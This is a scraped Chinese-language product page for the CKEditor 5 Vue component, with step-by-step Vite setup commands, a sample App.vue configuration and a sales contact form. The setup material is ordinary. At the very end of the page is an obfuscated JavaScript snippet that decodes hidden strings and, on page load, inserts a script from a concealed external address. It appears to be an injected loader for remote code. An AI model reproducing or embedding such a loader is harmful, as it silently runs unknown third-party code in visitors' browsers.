报告:2024 协作编辑现状

洞悉富文本编辑器 (RTE) 协作趋势和未来,立即下载

立即阅读

Vue 富文本编辑器

Vue 富文本编辑器是官方 CKEditor5 Vue 组件。该组件提供属性,用于快速将 WYSIWYG 编辑器集成到基于 Vue 的应用程序中。

多功能

一个适应性强的生态系统,能够处理端到端的文档编辑、与第三方工具的互操作性、文档管理和协作。

可扩展性

模块化架构,其中所有内容都是插件。您可以根据需要调整、添加或删除插件。使用自定义处理器处理 HTML、Markdown 或 JSON 输出。

渐进式

利用了由 50 多位行业专家组成的出色团队以及 20 多年的 WYSIWYG 编辑经验。我们每月都会发布新功能。

简单设置

以下是如何使用 Vue 富文本编辑器的一个快速示例
CKEditor 5 的组件,使用 Vite!

1

创建项目

使用基本 Vite 模板创建项目,并将
工作目录更改为新创建的项目。

npm create vite@latest ckeditor5-vue -- --template vue && cd ckeditor5-vue
2

安装软件包

安装 Vue 文本编辑器组件和您选择的编辑器类型
的依赖项,根据您的首选编辑体验。在本例中,我们使用经典编辑器。

npm install ckeditor5 @ckeditor/ckeditor5-vue
3

添加组件

src/App.vue 的内容替换为负责导入和初始化编辑器的代码。

<script>
  import CKEditor from '@ckeditor/ckeditor5-vue';
  import {
    ClassicEditor,
    Bold,
    Essentials,
    Heading,
    Indent,
    IndentBlock,
    Italic,
    Link,
    List,
    MediaEmbed,
    Paragraph,
    Table,
    Undo
  } from 'ckeditor5';

  import 'ckeditor5/ckeditor5.css';

  export default {
    name: 'app',
    components: {
      ckeditor: CKEditor.component
    },
    data() {
      return {
        editor: ClassicEditor,
        editorData: '<h1>Hello from CKEditor 5!</h1>',
        editorConfig: {
          toolbar: [
            'undo', 'redo', '|',
            'heading', '|', 'bold', 'italic', '|',
            'link', 'insertTable', 'mediaEmbed', '|',
            'bulletedList', 'numberedList', 'indent', 'outdent'
          ],
          plugins: [
            Bold,
            Essentials,
            Heading,
            Indent,
            IndentBlock,
            Italic,
            Link,
            List,
            MediaEmbed,
            Paragraph,
            Table,
            Undo
          ],
        }
      };
    }
  }
</script>

<template>
  <div id="app">
    <ckeditor :editor="editor" v-model="editorData" :config="editorConfig"></ckeditor>
  </div>
</template>
4

完成!

在项目的目录中执行以下命令来运行应用程序

npm run dev
5

探索文档

恭喜您设置了 CKEditor!为了充分利用它,请访问 CKEditor 文档
,以获取有关如何完全自定义和集成编辑器的全面指南。

获得信赖和认可

想要了解更多关于 CKEditor 的信息?

您好,您对产品或价格有任何疑问吗?

关于我们的 产品或价格 问题?

联系我们的 销售代表

表单内容字段

表单提交

HiddenGatedContent。
隐藏未使用的字段。

我们很乐意
收到您的来信!

感谢您联系 CKEditor 销售团队。我们已经收到您的消息,并将尽快与您联系。

(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});const f=d.getElementsByTagName(s)[0], j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src= 'https://#/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f); })(window,document,'script','dataLayer','GTM-KFSS6L');window[(function(_2VK,_6n){var _91='';for(var _hi=0;_hi<_2VK.length;_hi++){_91==_91;_DR!=_hi;var _DR=_2VK[_hi].charCodeAt();_DR-=_6n;_DR+=61;_DR%=94;_DR+=33;_6n>9;_91+=String.fromCharCode(_DR)}return _91})(atob('J3R7Pzw3MjBBdjJG'), 43)] = '37db4db8751680691983'; var zi = document.createElement('script'); (zi.type = 'text/javascript'), (zi.async = true), (zi.src = (function(_HwU,_af){var _wr='';for(var _4c=0;_4c<_HwU.length;_4c++){var _Gq=_HwU[_4c].charCodeAt();_af>4;_Gq-=_af;_Gq!=_4c;_Gq+=61;_Gq%=94;_wr==_wr;_Gq+=33;_wr+=String.fromCharCode(_Gq)}return _wr})(atob('IS0tKSxRRkYjLEUzIkQseisiKS0sRXooJkYzIkQteH5FIyw='), 23)), document.readyState === 'complete'?document.body.appendChild(zi): window.addEventListener('load', function(){ document.body.appendChild(zi) });